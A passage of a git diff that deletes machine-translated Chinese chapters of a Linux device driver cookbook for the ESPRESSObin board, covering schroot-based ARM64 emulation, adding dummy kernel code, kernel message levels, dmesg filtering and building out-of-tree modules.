要获得更多关于如何在不同操作系统上设置 ESPRESSObin 的信息,你可以看看 http://wiki.espressobin.net/tiki-index.php?页面=软件+如何。 -* 关于`qemu-debootstrap`的更多信息,一个好的起点是[。要管理以太网设备和了解关于在 Debian 操作系统上联网的更多信息,您可以查看以下内容:](https://wiki.ubuntu.com/ARM/RootfsFromScratch/QemuDebootstrap)[https://wiki.debian.org/NetworkConfiguration](https://wiki.debian.org/NetworkConfiguration)。 - -# 在外部硬件上进行本机编译 - -在结束本章之前,我想介绍一个有趣的跨平台系统,当我们需要在您的开发电脑上运行几个不同的操作系统时,这个系统非常有用。当我们需要一个完整的操作系统来编译设备驱动或应用,但我们没有目标设备可以编译时,这一步非常有用。我们可以使用我们的主机为不同操作系统和操作系统版本的国外硬件编译代码。 - -# 准备好 - -在我的职业生涯中,我使用过成吨的不同平台,为所有平台拥有一台虚拟机非常复杂,并且非常消耗系统资源(尤其是如果我们决定同时运行其中的几个平台!).这就是为什么拥有一个可以在你的电脑上执行外来代码的轻量级系统会很有趣。当然,这种方法不能用于测试设备驱动(我们需要真正的硬件),但我们可以使用它来运行本地编译器和/或本地用户空间代码,以防我们的嵌入式平台无法工作。让我们看看我在说什么。 - -在*设置目标机器*配方中,关于 Debian 操作系统的安装,我们使用了`chroot`命令来设置 root 的密码。多亏了 QEMU,这个命令起了作用;事实上,在`debian-stretch-arm64`目录中,我们有一个 ARM64 根文件系统,只需要使用 QEMU 就可以在 x86_64 平台上执行。很明显,以这种方式,我们应该能够执行我们想要的任何命令,当然,我们将能够执行 Bash shell,就像在下一个食谱中一样。 - -# 怎么做... - -现在是时候看看`chroot`是如何工作的了: - -1. 使用我们的 x86_64 主机执行 ARM64 `bash`命令,如下所示: - -```sh -$ sudo chroot debian-stretch-arm64/ bash -bash: warning: setlocale: LC_ALL: cannot change locale (en_GB.UTF-8) -root@giometti-VirtualBox:/# -``` - -2. 然后,我们可以像在 ESPRESSObin 上一样使用每个 ARM64 命令;例如,将文件列表到当前目录中;我们可以使用以下内容: - -```sh -# ls / -bin dev home media opt root sbin sys usr -boot etc lib mnt proc run srv tmp var -# cat /etc/hostname -espressobin -``` - -但是,也有一些陷阱;例如,我们完全错过了`/proc`和`/sys`目录和程序,它们依赖于它们并且肯定会失败: - -```sh -# ls /{proc,sys} -/proc: - -/sys: -# ps -Error: /proc must be mounted - To mount /proc at boot you need an /etc/fstab line like: - proc /proc proc defaults - In the meantime, run "mount proc /proc -t proc" -``` - -为了解决这些问题,我们可以在执行`chroot`之前手动挂载这些缺失的目录,但是这很烦人,因为它们太多了,所以我们可以尝试使用`schroot`实用程序,反过来,它可以为我们完成所有这些步骤。让我们看看如何。 - -For detailed information regarding `schroot`, you can see its man pages with `man schroot`. - -# 安装和配置 schroot - -这个任务在 Ubuntu 中相当琐碎: - -1. 首先,我们以通常的方式安装程序: - -```sh -$ sudo apt install schroot -``` - -2. 然后,我们必须对其进行配置,以便正确进入我们的 ARM64 系统。为此,让我们将之前创建的根文件系统复制到一个专用目录中(在这里我们还可以添加我们希望用`schroot`模拟的任何其他发行版): - -```sh -$ sudo mkdir /srv/chroot/ -$ sudo cp -a debian-stretch-arm64/ /srv/chroot/ -``` - -3. 然后,我们必须通过在`schroot`配置目录中添加新文件来为新系统创建适当的配置,如下所示: - -```sh -$ sudo bash -c 'cat > /etc/schroot/chroot.d/debian-stretch-arm64 <<__EOF__ -[debian-stretch-arm64] -description=Debian Stretch (arm64) -directory=/srv/chroot/debian-stretch-arm64 -users=giometti -#groups=sbuild -#root-groups=root -#aliases=unstable,default -type=directory -profile=desktop -personality=linux -preserve-environment=true -__EOF__' -``` - -Note that the `directory` parameter is set to the path holding our ARM64 system and `users` is set to `giometti`, which is my username (this is a comma-separated list of users that are allowed access to the `chroot` environment—see `man schroot.conf`). - -看前面的设置,我们看到`profile`参数设置为`desktop`;这意味着它将考虑到`/etc/schroot/desktop/`目录中的所有文件。特别是`fstab`文件保存了我们希望装入系统的所有挂载点。因此,我们应该验证它至少包含以下行: - -```sh -# -/proc /proc none rw,bind 0 0 -/sys /sys none rw,bind 0 0 -/dev /dev none rw,bind 0 0 -/dev/pts /dev/pts none rw,bind 0 0 -/home /home none rw,bind 0 0 -/tmp /tmp none rw,bind 0 0 -/opt /opt none rw,bind 0 0 -/srv /srv none rw,bind 0 0 -tmpfs /dev/shm tmpfs defaults 0 0 -``` - -4. 现在,我们必须重新启动`schroot`服务,如下所示: - -```sh -$ sudo systemctl restart schroot -``` - -Note that you can also restart using the old-fashioned way: -**`$ sudo /etc/init.d/schroot restart`** - -5. 现在我们可以通过要求他们`schroot`来列出所有可用的环境,如下所示: - -```sh -$ schroot -l - chroot:debian-stretch-arm64 -``` - -6. 好了,一切就绪,我们可以进入仿真 ARM64 系统了: - -```sh -$ schroot -c debian-stretch-arm64 -bash: warning: setlocale: LC_ALL: cannot change locale (en_GB.UTF-8) -``` - -Since we haven't installed any locale support, the preceding warning is quite obvious and it should be safely ignored. - -7. 现在,为了验证我们是否真的在执行 ARM64 代码,让我们尝试一些命令。例如,我们可以用`uname`命令询问一些系统信息: - -```sh -$ uname -a -Linux giometti-VirtualBox 4.15.0-43-generic #46-Ubuntu SMP Thu Dec 6 14:45:28 UTC 2018 aarch64 GNU/Linux -``` - -我们可以看到,系统说它的平台是`aarch64`,也就是 ARM64。然后,我们可以尝试执行之前交叉编译的`helloworld`程序;因为在`chroot`之后,当前目录没有改变(我们的主目录还是一样的),我们可以简单地回到我们编译的地方,然后像往常一样执行程序: - -```sh -$ cd ~/Projects/ldddc/github/chapter_1/ -$ file helloworld -helloworld: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=c0d6e9ab89057e8f9101f51ad517a253e5fc4f10, not stripped -$ ./helloworld -Hello World! -``` - -这个程序仍然像我们在 ARM64 系统上一样执行。太好了。 - -# 配置仿真操作系统 - -我们刚刚看到的`schroot`如果我们不配置我们的新系统来进行本机编译,那就什么都不是,为了这样做,我们可以使用我们在主机上使用的每一个 Debian 工具: - -1. 要安装一个完整的编译环境,我们可以在`schroot`环境中发出以下命令一次: - -```sh -$ sudo apt install gcc make \ - bison flex ncurses-dev libssl-dev -``` - -Note that `sudo` will ask your usual password, that is, the password you currently use to log in to your host PC. You might not get a password request from `sudo` with the following error message: -`sudo: no tty present and no askpass program specified` -You can try executing the preceding `sudo` command again, adding to it the `-S` option argument. -It could be possible that the `apt` command will notify you that some packages cannot be authenticated. Just ignore this warning and continue installation, answering yes by pressing the *Y* key. - -如果一切顺利,我们现在应该能够执行以前使用的每个编译命令。例如,我们可以再次尝试重新编译`helloworld`程序,但是是本地的(我们应该按顺序删除当前的可执行文件;`make`将再次尝试重新编译): - -```sh -$ rm helloworld -$ make CFLAGS="-Wall -O2" helloworld -cc -Wall -O2 helloworld.c -o helloworld -$ file helloworld -helloworld: ELF 64-bit LSB shared object, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=1393450a08fb9eea22babfb9296ce848bb806c21, not stripped -$ ./helloworld -Hello World! -``` - -Note that networking support is fully functional so we're now working on an emulated ARM64 environment on our hosts PC as we were on the ESPRESSObin. - -# 请参见 - -* 网上有几个关于`schroot`用法的例子,一个很好的起点就是[https://wiki.debian.org/Schroot](https://wiki.debian.org/Schroot)。** \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/02.md b/docs/linux-device-driver-dev-cb/02.md deleted file mode 100644 index 07228c32..00000000 --- a/docs/linux-device-driver-dev-cb/02.md +++ /dev/null @@ -1,687 +0,0 @@ -# 二、内核内部一览 - -简单的操作系统(如 MS-DOS)总是在单 CPU 模式下执行,但类似 Unix 的操作系统使用双模式来有效地实现分时和资源分配与保护。在 Linux 中的任何时候,CPU 要么运行在可信的**内核模式**(在这里我们可以做任何我们想做的事情),要么运行在受限的**用户模式**(在这里某些操作是不允许的)。所有用户进程都在用户模式下执行,而核心内核本身和大多数设备驱动(在用户空间中实现的驱动除外)在内核模式下运行,因此它们可以不受限制地访问整个处理器指令集以及全部内存和输入/输出空间。 - -当用户模式进程需要访问外设时,它不能自己完成,而是必须通过**系统调用**通过设备驱动或其他内核模式代码来引导请求,系统调用在控制进程活动和管理数据交换方面起着主要作用。在本章中,我们还不会看到系统调用(它们将在[第 3 章](03.html)、*中介绍)使用 Char Drivers* 进行工作,但是我们将通过直接向内核的源代码中添加新代码或使用内核模块来开始向内核中编程,这是另一种更通用的向内核添加代码的方式。 - -一旦我们开始编写内核代码,我们一定不要忘记,在用户模式下,每一个资源分配(CPU、RAM 等)都是由内核自动管理的(当进程死亡时,内核可以正确释放它们),在内核模式下,我们被允许独占处理器,直到我们自愿放弃 CPU 或者发生中断或异常;此外,如果没有正确释放,每个请求的资源(例如内存)都会丢失。这就是为什么正确管理 CPU 使用和释放我们请求的任何资源非常重要! - -现在,是时候进行第一次内核跳转了,因此在本章中,我们将介绍以下食谱: - -* 向源中添加自定义代码 -* 使用内核消息 -* 使用内核模块 -* 使用模块参数 - -# 技术要求 - -在本章中,我们需要在[第 1 章](01.html)、*中已经下载的*配置和构建内核*配方中的内核源,安装开发系统*,当然,我们还需要安装我们的交叉编译器,如[第 1 章](01.html)、*安装开发系统*中的*设置主机*配方所示。本章使用的代码和其他文件可以从 GitHub 下载,网址为[https://GitHub . com/giometti/Linux _ device _ driver _ development _ cook book/tree/master/chapter _ 02](https://github.com/giometti/linux_device_driver_development_cookbook/tree/master/chapter_02)。 - -# 向源中添加自定义代码 - -作为第一步,让我们看看如何向内核源代码中添加一些简单的代码。在本食谱中,我们将简单地添加愚蠢的代码,只是为了演示它有多容易,但是在本书的后面,我们将添加更复杂的代码。 - -# 准备好 - -因为我们需要将代码添加到 Linux 源代码中,所以让我们进入所有源代码所在的目录。在我的系统上,我使用位于我的主目录中的`Projects/ldddc/linux/`路径。以下是内核源代码的样子: - -```sh -$ cd Projects/ldddc/linux/ -$ ls -arch Documentation Kbuild mm scripts virt -block drivers Kconfig modules.builtin security vmlinux -built-in.a firmware kernel modules.order sound vmlinux.o -certs fs lib Module.symvers stNXtP40 -COPYING include LICENSES net System.map -CREDITS init MAINTAINERS README tools -crypto ipc Makefile samples usr -``` - -现在,我们需要设置环境变量`ARCH`和`CROSS_COMPILE`,如下所示,以便能够交叉编译 ESPRESSObin 的代码: - -```sh -$ export ARCH=arm64 -$ export CROSS_COMPILE=aarch64-linux-gnu- -``` - -因此,如果我们尝试执行如下的`make`命令,系统应该像往常一样开始编译内核: - -```sh -$ make Image dtbs modules - CALL scripts/checksyscalls.sh -... -``` - -Note that you may avoid exporting preceding variables by just specifying them on the following command line: -`$ make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- \` -`Image dtbs modules` - -此时,内核源代码和编译环境已经准备好了。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 既然这本书谈到了设备驱动,让我们从将代码添加到 Linux 源代码的`drivers`目录下开始,特别是在`drivers/misc`中,这里有各种各样的驱动。我们应该在`drivers/misc`中放置一个名为`dummy-code.c`的文件,内容如下: - -```sh -/* - * Dummy code - */ - -#include - -static int __init dummy_code_init(void) -{ - printk(KERN_INFO "dummy-code loaded\n"); - return 0; -} - -static void __exit dummy_code_exit(void) -{ - printk(KERN_INFO "dummy-code unloaded\n"); -} - -module_init(dummy_code_init); -module_exit(dummy_code_exit); - -MODULE_LICENSE("GPL"); -MODULE_AUTHOR("Rodolfo Giometti"); -MODULE_DESCRIPTION("Dummy code"); -``` - -2. 如果我们不把我们的新文件`drivers/misc/dummy-code.c`正确地插入到内核配置和构建系统中,它将没有任何作用。为此,我们必须修改`drivers/misc/Kconfig`和`drivers/misc/Makefile`文件,如下所示。必须更改以前的文件,如下所示: - -```sh ---- a/drivers/misc/Kconfig -+++ b/drivers/misc/Kconfig -@@ -527,4 +527,10 @@ source "drivers/misc/echo/Kconfig" - source "drivers/misc/cxl/Kconfig" - source "drivers/misc/ocxl/Kconfig" - source "drivers/misc/cardreader/Kconfig" -+ -+config DUMMY_CODE -+ tristate "Dummy code" -+ default n -+ ---help--- -+ This module is just for demonstration purposes. - endmenu -``` - -后者的修改如下: - -```sh ---- a/drivers/misc/Makefile -+++ b/drivers/misc/Makefile -@@ -58,3 +58,4 @@ obj-$(CONFIG_ASPEED_LPC_SNOOP) += aspeed-lpc-snoop.o - obj-$(CONFIG_PCI_ENDPOINT_TEST) += pci_endpoint_test.o - obj-$(CONFIG_OCXL) += ocxl/ - obj-$(CONFIG_MISC_RTSX) += cardreader/ -+obj-$(CONFIG_DUMMY_CODE) += dummy-code.o -``` - -Note that you can easily add the preceding code and whatever is needed to compile it by just using the `patch` command, as follows, in your main directory of Linux sources: -**`$ patch -p1 < add_custom_code.patch`** - -3. 嗯,如果我们现在使用`make menuconfig`命令,并通过设备驱动导航到杂项设备菜单项的底部,我们应该会得到如下截图所示的内容: - -![](img/01c65282-ef07-458f-bc60-be630fb3a9e1.png) - -在前面的截图中,我已经选择了虚拟代码条目,这样我们就可以看到最终的设置应该是什么样子。 - -Note that the Dummy code entry must be selected as built-in ( the `*` character) and not as module (the `M` character). -Note also that, if we do not execute the `make menuconfig` command and we execute directly the `make Image` command to compile the kernel, then the building system will ask us what to do with the `DUMMY_CODE` setting, as shown in the following. Obviously, we have to answer yes by using the `y` character: -**`$ make Image`** -`scripts/kconfig/conf --syncconfig Kconfig` -`*` -`* Restart config...` -`*` -`*` -`* Misc devices` -`*` -`Analog Devices Digital Potentiometers (AD525X_DPOT) [N/m/y/?] n` -`...` -`Dummy code (DUMMY_CODE) [N/m/y/?] (NEW) y` - -4. 如果一切正常,那么我们执行`make Image`命令重新编译内核。我们应该看到我们的新文件被编译,然后被添加到内核`Image`文件中,如下所示: - -```sh -$ make Image -scripts/kconfig/conf --syncconfig Kconfig -... - CC drivers/misc/dummy-code.o - AR drivers/misc/built-in.a - AR drivers/built-in.a -... - LD vmlinux - SORTEX vmlinux - SYSMAP System.map - OBJCOPY arch/arm64/boot/Image -``` - -5. 好了,现在我们要做的就是用刚刚重建的文件替换 microSD 上的`Image`文件,然后重启系统(参见[第 1 章](01.html)*安装开发系统*中的*如何添加内核*食谱)。 - -# 它是如何工作的... - -现在,是时候看看前面的步骤是如何工作的了。在接下来的章节中,我们将更好地解释这段代码的真正作用。然而,此刻,我们应该注意到以下几点。 - -在*第一步*中,注意到对`module_init()`和`module_exit()`的调用,这是内核提供的 C 宏,用来告诉内核,在系统启动或关机的时候,它必须调用我们提供的函数,命名为`dummy_code_init()`和`dummy_code_exit()`,它们反过来只是打印一些信息消息。 - -在本章的稍后部分,我们将详细了解`printk()`的作用以及`KERN_INFO`宏的含义,但是目前,我们应该只考虑它们用于在引导(或关机)期间打印消息。例如,前面的代码指示内核打印出在引导阶段某个时候加载的消息虚拟代码。 - -在*第二步*中,在`Makefile`中,我们只是简单的告诉内核如果`CONFIG_DUMMY_CODE`已经被启用(也就是`CONFIG_DUMMY_CODE=y`,那么`dummy-code.c`必须被编译并插入到内核二进制(链接)中,而有了`Kconfig`文件,我们只是将新模块添加到内核配置系统中。 - -在*第 3 步*中,我们使用`make menuconfig`命令来编译我们的代码。 - -在*步骤 4* 中,最后,我们重新编译了内核,以便在其中添加我们的代码。 - -在*步骤 5* 中,在引导期间,我们应该会看到以下内核消息: - -```sh -... -loop: module loaded -dummy-code loaded -ahci-mvebu d00e0000.sata: AHCI 0001.0300 32 slots 1 ports 6 Gbps -... -``` - -# 请参见 - -* 有关内核配置及其构建系统如何工作的更多信息,我们可以查看以下文件内核源代码中的内核文档文件:`linux/Documentation/kbuild/kconfig-macro-language.txt`。 - -# 使用内核消息 - -如前所述,如果我们需要从头开始设置系统,串行控制台非常有用,但是如果我们希望在内核消息生成后立即看到它们,串行控制台也非常有用。为了生成内核消息,我们可以使用几个函数,在本食谱中,我们将了解它们以及如何在串行控制台或 SSH 连接上显示消息。 - -# 准备好了 - -我们的 ESPRESSObin 是生成内核消息的系统,所以我们需要一个到它的连接。通过串行控制台,这些消息一到达就自动显示,但是如果我们使用 SSH 连接,我们仍然可以通过读取特定文件来显示它们,如下命令所示: - -```sh -# tail -f /var/log/kern.log -``` - -然而,串行控制台值得特别注意:事实上,在我们的示例中,当且仅当`/proc/sys/kernel/printk`文件中最左边的数字恰好大于 7 时,内核消息将自动显示在串行控制台上,如下所示: - -```sh -# cat /proc/sys/kernel/printk -10 4 1 7 -``` - -这些神奇的数字有明确的含义;特别是,第一个表示内核必须在串行控制台上显示的错误消息级别。这些级别在`linux/include/linux/kern_levels.h`文件中定义如下: - -```sh -#define KERN_EMERG KERN_SOH "0" /* system is unusable */ -#define KERN_ALERT KERN_SOH "1" /* action must be taken immediately */ -#define KERN_CRIT KERN_SOH "2" /* critical conditions */ -#define KERN_ERR KERN_SOH "3" /* error conditions */ -#define KERN_WARNING KERN_SOH "4" /* warning conditions */ -#define KERN_NOTICE KERN_SOH "5" /* normal but significant condition */ -#define KERN_INFO KERN_SOH "6" /* informational */ -#define KERN_DEBUG KERN_SOH "7" /* debug-level messages */ -``` - -例如,如果前一个文件的内容是 4,如下所述,只有具有`KERN_EMERG`、`KERN_ALERT`、`KERN_CRIT`和`KERN_ERR`级别的消息会自动显示在串行控制台上: - -```sh -# cat /proc/sys/kernel/printk -4 4 1 7 -``` - -为了允许显示所有消息、它们的子集或者不显示任何消息,我们必须使用`echo`命令修改`/proc/sys/kernel/printk`文件最左边的数字,如下例所示,我们的操作方式是完全禁用所有内核消息的打印。这是因为任何消息的优先级都不能大于 0: - -```sh - # echo 0 > /proc/sys/kernel/printk -``` - -Kernel message priorities start from 0 (the highest) and go up to 7 (the lowest)! - -既然我们知道了如何显示内核消息,我们可以尝试对内核代码进行一些修改,以便对内核消息进行一些实验。 - -# 怎么做... - -在前面的例子中,我们看到我们可以使用`printk()`函数来生成内核消息,但是为了拥有更高效的消息和紧凑可读的代码,我们可以使用其他函数来代替`printk()`: - -1. 使用下列宏(如`include/linux/printk.h`文件中所定义的),如下所示: - -```sh -#define pr_emerg(fmt, ...) \ - printk(KERN_EMERG pr_fmt(fmt), ##__VA_ARGS__) -#define pr_alert(fmt, ...) \ - printk(KERN_ALERT pr_fmt(fmt), ##__VA_ARGS__) -#define pr_crit(fmt, ...) \ - printk(KERN_CRIT pr_fmt(fmt), ##__VA_ARGS__) -#define pr_err(fmt, ...) \ - printk(KERN_ERR pr_fmt(fmt), ##__VA_ARGS__) -#define pr_warning(fmt, ...) \ - printk(KERN_WARNING pr_fmt(fmt), ##__VA_ARGS__) -#define pr_warn pr_warning -#define pr_notice(fmt, ...) \ - printk(KERN_NOTICE pr_fmt(fmt), ##__VA_ARGS__) -#define pr_info(fmt, ...) \ - printk(KERN_INFO pr_fmt(fmt), ##__VA_ARGS__) -``` - -2. 现在,要生成内核消息,我们可以做以下工作:查看这些定义,我们可以将前面示例中的`dummy_code_init()`和`dummy_code_exit()`函数重写到`dummy-code.c`文件中,如下所示: - -```sh -static int __init dummy_code_init(void) -{ - pr_info("dummy-code loaded\n"); - return 0; -} - -static void __exit dummy_code_exit(void) -{ - pr_info("dummy-code unloaded\n"); -} -``` - -# 它是如何工作的... - -如果我们仔细观察前面的打印函数(`pr_info()`和类似的函数),我们注意到它们也依赖于`pr_fmt(fmt)`参数,该参数可用于将其他有用的信息添加到我们的消息中。例如,以下定义通过添加当前模块和调用函数名来改变`pr_info()`生成的所有消息: - -```sh -#define pr_fmt(fmt) "%s:%s: " fmt, KBUILD_MODNAME, __func__ -``` - -Note that the `pr_fmt()` macro definition must appear at the start of the file, even before the includes, to have any effect. - -如果我们将这一行添加到我们的`dummy-code.c`中,如下面的代码块所示,内核消息将如所述发生变化: - -```sh -/* - * Dummy code - */ - -#define pr_fmt(fmt) "%s:%s: " fmt, KBUILD_MODNAME, __func__ -#include -``` - -事实上,当`pr_info()`函数被执行时,输出消息,告诉我们模块已经被插入,以下面的形式轮流出现,在这里我们可以看到模块名称和调用函数名称,后面是加载消息: - -```sh -dummy_code:dummy_code_init: dummy-code loaded -``` - -还有一组打印功能,但是在开始谈论它们之前,我们需要一些位于[第 3 章](04.html)、*使用设备树* 中的信息,因此,目前,我们将只继续使用这些功能。 - -# 还有更多... - -这里有许多内核活动,其中许多非常复杂,通常,一个内核开发人员必须处理几条消息,但并不是所有消息都有趣;所以,我们需要找到一些方法来过滤掉有趣的信息。 - -# 过滤内核消息 - -假设我们希望知道在引导期间检测到了哪些串行端口。我们知道我们可以使用`tail`命令,但是通过使用它,我们只能看到最新的消息;另一方面,我们可以使用`cat`命令来调用自引导以来的所有内核消息,但这是大量的信息!或者,我们可以使用以下步骤过滤内核消息: - -1. 这里,我们使用如下`grep`命令过滤掉`uart`(或`UART`)字符串中的行: - -```sh -# cat /var/log/kern.log | grep -i uart -Feb 7 19:33:14 espressobin kernel: [ 0.000000] earlycon: ar3700_uart0 at MMIO 0x00000000d0012000 (options '') -Feb 7 19:33:14 espressobin kernel: [ 0.000000] bootconsole [ar3700_uart0] enabled -Feb 7 19:33:14 espressobin kernel: [ 0.000000] Kernel command line: console=ttyMV0,115200 earlycon=ar3700_uart,0xd0012000 loglevel=0 debug root=/dev/mmcblk0p1 rw rootwait net.ifnames=0 biosdevname=0 -Feb 7 19:33:14 espressobin kernel: [ 0.289914] Serial: AMBA PL011 UART driver -Feb 7 19:33:14 espressobin kernel: [ 0.296443] mvebu-uart d0012000.serial: could not find pctldev for node /soc/internal-regs@d0000000/pinctrl@13800/uart1-pins, deferring probe -... -``` - -前面的输出也可以通过使用如下的`dmesg`命令获得,这是一个为此目的而设计的工具: - -```sh -# dmesg | grep -i uart -[ 0.000000] earlycon: ar3700_uart0 at MMIO 0x00000000d0012000 (options '') -[ 0.000000] bootconsole [ar3700_uart0] enabled -[ 0.000000] Kernel command line: console=ttyMV0,115200 earlycon=ar3700_uart,0 -xd0012000 loglevel=0 debug root=/dev/mmcblk0p1 rw rootwait net.ifnames=0 biosdev -name=0 -[ 0.289914] Serial: AMBA PL011 UART driver -[ 0.296443] mvebu-uart d0012000.serial: could not find pctldev for node /soc/ -internal-regs@d0000000/pinctrl@13800/uart1-pins, deferring probe -... -``` - -Note that, while `cat` displays everything in the log file, even very old messages from previous OS executions, `dmesg` displays current OS execution messages only. This is because `dmesg` takes kernel messages directly from the current running system via its ring buffer (that is, the buffer where all messages are stored). - -2. 另一方面,如果我们想要收集关于早期引导活动的信息,我们仍然可以将`dmesg`命令与`head`命令一起使用,以便仅显示`dmesg`输出的前 10 行: - -```sh -# dmesg | head -10 -[ 0.000000] Booting Linux on physical CPU 0x0000000000 [0x410fd034] -[ 0.000000] Linux version 4.18.0-dirty (giometti@giometti-VirtualBox) (gcc ve -rsion 7.3.0 (Ubuntu/Linaro 7.3.0-27ubuntu1~18.04)) #5 SMP PREEMPT Sun Jan 27 13: -33:24 CET 2019 -[ 0.000000] Machine model: Globalscale Marvell ESPRESSOBin Board -[ 0.000000] earlycon: ar3700_uart0 at MMIO 0x00000000d0012000 (options '') -[ 0.000000] bootconsole [ar3700_uart0] enabled -[ 0.000000] efi: Getting EFI parameters from FDT: -[ 0.000000] efi: UEFI not found. -[ 0.000000] cma: Reserved 32 MiB at 0x000000007e000000 -[ 0.000000] NUMA: No NUMA configuration found -[ 0.000000] NUMA: Faking a node at [mem 0x0000000000000000-0x000000007fffffff] -``` - -3. 另一方面,如果我们对最后 10 行感兴趣,可以使用`tail`命令。事实上,我们已经看到,为了监视内核活动,我们可以使用它,如下所示: - -```sh -# tail -f /var/log/kern.log -``` - -因此,要查看最后 10 行,我们可以执行以下操作: - -```sh -# dmesg | tail -10 -``` - -4. 通过添加`-w`选项参数,也可以对`dmesg`进行同样的操作,如下例所示: - -```sh -# dmesg -w -``` - -5. 通过使用`-l`(或`--level`)选项参数,`dmesg`命令还可以根据内核消息的级别过滤内核消息,如下所示: - -```sh -# dmesg -l 3 -[ 1.687783] advk-pcie d0070000.pcie: link never came up -[ 3.153849] advk-pcie d0070000.pcie: Posted PIO Response Status: CA, 0xe00 @ 0x0 -[ 3.688578] Unable to create integrity sysfs dir: -19 -``` - -前面的命令显示具有`KERN_ERR`级别的内核消息,而下面的命令显示具有`KERN_WARNING`级别的消息: - -```sh -# dmesg -l 4 -[ 3.164121] EINJ: ACPI disabled. -[ 3.197263] cacheinfo: Unable to detect cache hierarchy for CPU 0 -[ 4.572660] xenon-sdhci d00d0000.sdhci: Timing issue might occur in DDR mode -[ 5.316949] systemd-sysv-ge: 10 output lines suppressed due to ratelimiting -``` - -6. 我们还可以组合级别,以便同时拥有`KERN_ERR`和`KERN_WARNING`: - -```sh -# dmesg -l 3,4 -[ 1.687783] advk-pcie d0070000.pcie: link never came up -[ 3.153849] advk-pcie d0070000.pcie: Posted PIO Response Status: CA, 0xe00 @ 0x0 -[ 3.164121] EINJ: ACPI disabled. -[ 3.197263] cacheinfo: Unable to detect cache hierarchy for CPU 0 -[ 3.688578] Unable to create integrity sysfs dir: -19 -[ 4.572660] xenon-sdhci d00d0000.sdhci: Timing issue might occur in DDR mode -[ 5.316949] systemd-sysv-ge: 10 output lines suppressed due to ratelimiting -``` - -7. 最后,在出现大量嘈杂消息的情况下,我们可以使用以下命令要求系统清理内核环形缓冲区(存储所有内核消息的地方): - -```sh -# dmesg -C -``` - -现在,如果我们再次使用`dmesg`,我们将只看到新生成的内核消息。 - -# 请参见 - -* 关于内核消息管理的更多信息,一个很好的起点是`dmesg`手册页,我们可以通过执行`man dmesg`命令来显示该手册页。 - -# 使用内核模块 - -知道如何向内核添加定制代码是有用的,但是,当我们必须编写新的驱动时,将我们的代码编写为**内核模块**可能会更有用。事实上,通过使用一个模块,我们可以轻松修改内核代码,然后测试它,而无需每次都重新启动系统!为了测试新版本的代码,我们只需要移除然后重新插入模块(在必要的修改之后)。 - -在这个食谱中,我们将看看内核模块是如何被编译的,即使是在内核树之外的目录中。 - -# 准备好了 - -要将我们的`dummy-code.c`文件转换成内核模块,我们只需要更改我们的内核设置,允许编译我们的示例模块(通过在内核配置菜单中用`M`替换`*`字符)。然而,在某些情况下,将我们的驱动发布到一个与内核源完全分离的专用归档中可能会更有用。即使在这种情况下,也不需要对现有代码进行任何更改,我们将能够在内核源代码树内部甚至外部编译`dummy-code.c`! - -为了构建我们的第一个内核模块作为外部代码,我们可以安全地获取前面的`dummy-code.c`文件,然后将其放入一个专用目录,如下所示`Makefile`: - -```sh -ifndef KERNEL_DIR -$(error KERNEL_DIR must be set in the command line) -endif -PWD := $(shell pwd) -ARCH ?= arm64 -CROSS_COMPILE ?= aarch64-linux-gnu- - -# This specifies the kernel module to be compiled -obj-m += dummy-code.o - -# The default action -all: modules - -# The main tasks -modules clean: - make -C $(KERNEL_DIR) \ - ARCH=$(ARCH) \ - CROSS_COMPILE=$(CROSS_COMPILE) \ - SUBDIRS=$(PWD) $@ -``` - -查看前面的代码,我们看到`KERNEL_DIR`变量必须在命令行上提供,指向 ESPRESSObin 以前编译的内核源代码的路径,而`ARCH`和`CROSS_COMPILE`变量不是强制的,因为`Makefile`指定了它们(但是,在命令行上提供它们将优先)。 - -此外,我们应该验证`insmod`和`rmmod`命令在我们的 ESPRESSObin 中可用,如下所示: - -```sh -# insmod -h -Usage: - insmod [options] filename [args] -Options: - -V, --version show version - -h, --help show this help -``` - -如果它们不存在,那么可以通过用通常的`apt install kmod`命令添加`kmod`包来安装它们。 - -# 怎么做... - -让我们看看如何通过以下步骤来实现: - -1. 将`dummy-code.c`和`Makefile`文件放入主机当前工作目录后,使用`ls`命令时应该如下所示: - -```sh -$ ls -dummy-code.c Makefile -``` - -2. 然后,我们可以使用以下命令编译我们的模块: - -```sh -$ make KERNEL_DIR=../../../linux/ -make -C ../../../linux/ \ - ARCH=arm64 \ - CROSS_COMPILE=aarch64-linux-gnu- \ - SUBDIRS=/home/giometti/Projects/ldddc/github/chapter_2/module modules -make[1]: Entering directory '/home/giometti/Projects/ldddc/linux' - CC [M] /home/giometti/Projects/ldddc/github/chapter_2/module/dummy-code.o - Building modules, stage 2. - MODPOST 1 modules - CC /home/giometti/Projects/ldddc/github/chapter_2/module/dummy-code.mod.o - LD [M] /home/giometti/Projects/ldddc/github/chapter_2/module/dummy-code.ko -make[1]: Leaving directory '/home/giometti/Projects/ldddc/linux' -``` - -可以看到,现在我们在当前的工作目录下有几个文件,其中一个名为`dummy-code.ko`;这是我们准备转移到 ESPRESSObin 的内核模块! - -3. 一旦模块被移动到目标系统中(例如,通过使用`scp`命令),我们可以使用`insmod`实用程序加载它,如下所示: - -```sh -# insmod dummy-code.ko -``` - -4. 现在,通过使用`lsmod`命令,我们可以要求系统显示所有加载的模块。在我的 ESPRESSObin 上,我只有`dummy-code.ko`模块,所以我的输出如图所示: - -```sh -# lsmod -Module Size Used by -dummy_code 16384 0 -``` - -Note that the `.ko` postfix has been removed by the kernel module name, as the `-` character is replaced by `_`. - -5. 然后,我们可以使用`rmmod`命令从内核中移除我们的模块,如下所示: - -```sh -# rmmod dummy_code -``` - -In case you get the following error, please verify you're running the correct `Image` file we got in[Chapter 1](01.html), *Installing the Development System* -`rmmod: ERROR: ../libkmod/libkmod.c:514 lookup_builtin_file() could not open builtin file '/lib/modules/4.18.0-dirty/modules.builtin.bin'` - -# 它是如何工作的... - -`insmod`命令只是取我们的模块插入内核;之后,执行`module_init()`功能。 - -在模块插入过程中,如果我们通过 SSH 连接,我们将在终端上什么也看不到,我们必须使用`dmesg`来查看内核消息(或`/var/log/kern.log`文件上的`tail`,如前所述);否则,在串行控制台上,插入模块后,我们应该会看到如下内容: - -```sh 